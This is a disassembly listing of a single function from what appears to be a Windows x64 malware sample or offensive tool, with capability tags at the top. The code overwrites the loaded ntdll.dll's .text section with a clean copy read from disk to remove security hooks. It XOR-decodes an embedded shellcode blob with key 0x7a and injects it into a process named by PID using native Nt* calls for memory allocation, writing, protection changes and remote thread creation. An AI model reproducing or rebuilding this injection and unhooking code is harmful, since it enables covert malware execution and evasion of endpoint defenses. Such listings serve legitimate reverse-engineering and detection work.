Function at 0x140001070
Capabilities:
Encode data using xor
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
push rdi
push r12
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor edi, edi
mov qword [rsp + 0x70], rdx
mov rbx, rdx
mov dword [rsp + 0x60], ecx
mov qword [rbp - 0x70], rdi
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x68], rdi
lea r8, [0x1400032c0]
lea eax, [rdi + 3]
mov qword [rbp - 0x78], rdi
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [r8 - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x1400010c0
movups xmm0, xmmword [r8]
mov rax, qword [r8 + 0x40]
movups xmm1, xmmword [r8 + 0x10]
mov qword [rbp], 0x1cd
movups xmmword [rdx], xmm0
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov qword [rdx + 0x40], rax
mov eax, dword [r8 + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, byte [r8 + 0x4c]
mov byte [rdx + 0x4c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
mov r15, rax
xor eax, eax
mov qword [rbp - 0x40], rax
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rbp - 0x50]
mov rdx, rax
mov qword [rsp + 0x68], rax
mov rcx, r15
mov r12, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
jne 0x1400011bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetModuleInformation_failed_with_error:__d_n
call fcn.140001010
mov eax, 1
jmp 0x1400016cc
xor r9d, r9d
mov qword [rsp + 0x320], rsi
mov qword [rsp + 0x30], rdi
lea rcx, str.c:windows_system32_ntdll.dll
mov qword [rsp + 0x330], r13
mov edx, 0x80000000
mov qword [rsp + 0x338], r14
mov r14, qword [rbp - 0x50]
lea r8d, [r9 + 1]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov dword [rsp + 0x20], edi
mov r8d, 0x1000002
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov qword [rbp - 0x80], rax
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [r14 + 0x3c]
mov r13, rax
add rsi, r14
xor eax, eax
cmp ax, word [rsi + 6]
jae 0x140001309
lea r8, str..text
xor r12d, r12d
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r12
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1400012f2
cmp rax, 6
jne 0x140001290
mov ecx, dword [rbx + 0x24]
lea r9, [rbp - 8]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, r14
mov dword [rbp - 8], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r13]
lea rcx, [rax + r14]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rbp - 8]
mov edx, dword [rbx + 0x20]
add rcx, r14
mov r8d, dword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001270
mov r12, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [rsp + 0x60], 2
jge 0x140001350
mov rdx, qword [rbx]
lea rcx, str.____Usage:__s__PID__n
call fcn.140001010
mov eax, 1
jmp 0x1400016b4
mov r8, qword [rbp]
xor edi, edi
mov ecx, edi
cmp r8, 0x40
jb 0x1400013cf
movdqa xmm2, xmmword [str.zzzzzzzzzzzzzzzz_]
lea rdx, [rbp + 0x20]
mov r9, r8
and r9, 0xffffffffffffffc0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x10]
add ecx, 0x40
lea rdx, [rdx + 0x40]
movdqa xmm1, xmm2
movsxd rax, ecx
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x30], xmm1
movdqu xmm0, xmmword [rdx - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rdx - 0x20], xmm0
cmp rax, r9
jb 0x140001380
movsxd rax, ecx
cmp rax, r8
jae 0x1400013f1
lea rdx, [rbp + 0x10]
add rdx, rax
nop
xor byte [rdx], 0x7a
lea rdx, [rdx + 1]
inc ecx
movsxd rax, ecx
cmp rax, r8
jb 0x1400013e0
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xorps xmm0, xmm0
mov dword [rbp - 0x38], 0x30
mov esi, eax
lea rcx, str.NTDLL
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x30], rdi
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x58], rdi
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140001444
lea rcx, str.____Error_getting_handle_to_NTDLL_n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x1400016b4
lea rcx, str.___Populating_function_prototypes_n
call fcn.140001010
lea rdx, str.NtOpenProcess
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.___Finished_populating_functions_n
mov rdi, rax
call fcn.140001010
mov edx, esi
lea rcx, str.___Trying_to_get_handle_to_PID:__ld_n
call fcn.140001010
lea r9, [rbp - 0x60]
mov edx, 0x1fffff
lea r8, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call rbx
mov dword [0x140005660], eax
test eax, eax
je 0x14000150c
mov edx, eax
lea rcx, str.____NtOpenProcess_failed_to_get_a_handle__error:_0x_lx_n
call fcn.140001010
jmp 0x140001674
mov rdx, qword [rbp - 0x78]
lea rcx, str.___Got_a_handle__p_n
call fcn.140001010
mov rcx, qword [rbp - 0x78]
lea r9, [rbp]
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x70]
mov dword [rsp + 0x20], 0x3000
call r14
mov dword [0x140005660], eax
test eax, eax
je 0x14000155b
mov edx, eax
lea rcx, str.____NtAllocateVirtualMemory_failed_to_allocate_memory__error:_0x_lx_n
call fcn.140001010
jmp 0x140001674
mov rdx, qword [rbp - 0x70]
lea rcx, str.___Allocated_memory_for_the_shellcode__rBuffer0x_p_n
call fcn.140001010
mov rdx, qword [rbp - 0x70]
lea r8, [rbp + 0x10]
mov rcx, qword [rbp - 0x78]
xor ebx, ebx
mov r9d, 0x1cd
mov qword [rsp + 0x20], rbx
call r15
mov dword [0x140005660], eax
test eax, eax
je 0x1400015a9
mov rdx, qword [rbp - 0x70]
lea rcx, str.____NtWriteVirtualMemory_failed_to_write_to_memory_address_0x_p__error:_0x_lx_n
mov r8d, eax
call fcn.140001010
jmp 0x140001674
lea rcx, str.___Copied_the_shellcode_to_the_buffer_space_n
call fcn.140001010
lea rcx, str.___Changing_memory_permission_level_from_RW_to_RX_n
call fcn.140001010
mov rcx, qword [rbp - 0x78]
lea rax, [rbp + 8]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp]
lea rdx, [rbp - 0x70]
call r13
mov dword [0x140005660], eax
test eax, eax
je 0x1400015f9
mov edx, eax
lea rcx, str.____NtProtectVirtualMemory_failed_to_change_permission_to_RX__error:_0x_lx_n
call fcn.140001010
jmp 0x140001674
lea rcx, str.___Executing_the_thread_n
call fcn.140001010
mov rax, qword [rbp - 0x70]
lea r8, [rbp - 0x38]
mov r9, qword [rbp - 0x78]
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x50], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call r12
mov dword [0x140005660], eax
test eax, eax
je 0x140001659
mov edx, eax
lea rcx, str.____NtOpenProcess_failed_to_get_a_handle__error:_0x_lx_n
call fcn.140001010
jmp 0x140001674
lea rcx, str.___Thread_created__waiting_for_the_thread_to_finish_execution._n
call fcn.140001010
mov rcx, qword [rbp - 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp qword [rbp - 0x78], 0
je 0x14000168d
lea rcx, str.___closing_handle_to_process_n
call fcn.140001010
mov rcx, qword [rbp - 0x78]
call rdi
cmp qword [rbp - 0x68], 0
je 0x1400016a6
lea rcx, str.___closing_handle_to_process_n
call fcn.140001010
mov rcx, qword [rbp - 0x68]
call rdi
lea rcx, str.___Finished._n
call fcn.140001010
xor eax, eax
mov r13, qword [rsp + 0x330]
mov rsi, qword [rsp + 0x320]
mov r14, qword [rsp + 0x338]
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140001700
add rsp, 0x2f0
pop r15
pop r12
pop rdi
pop rbx
pop rbp
ret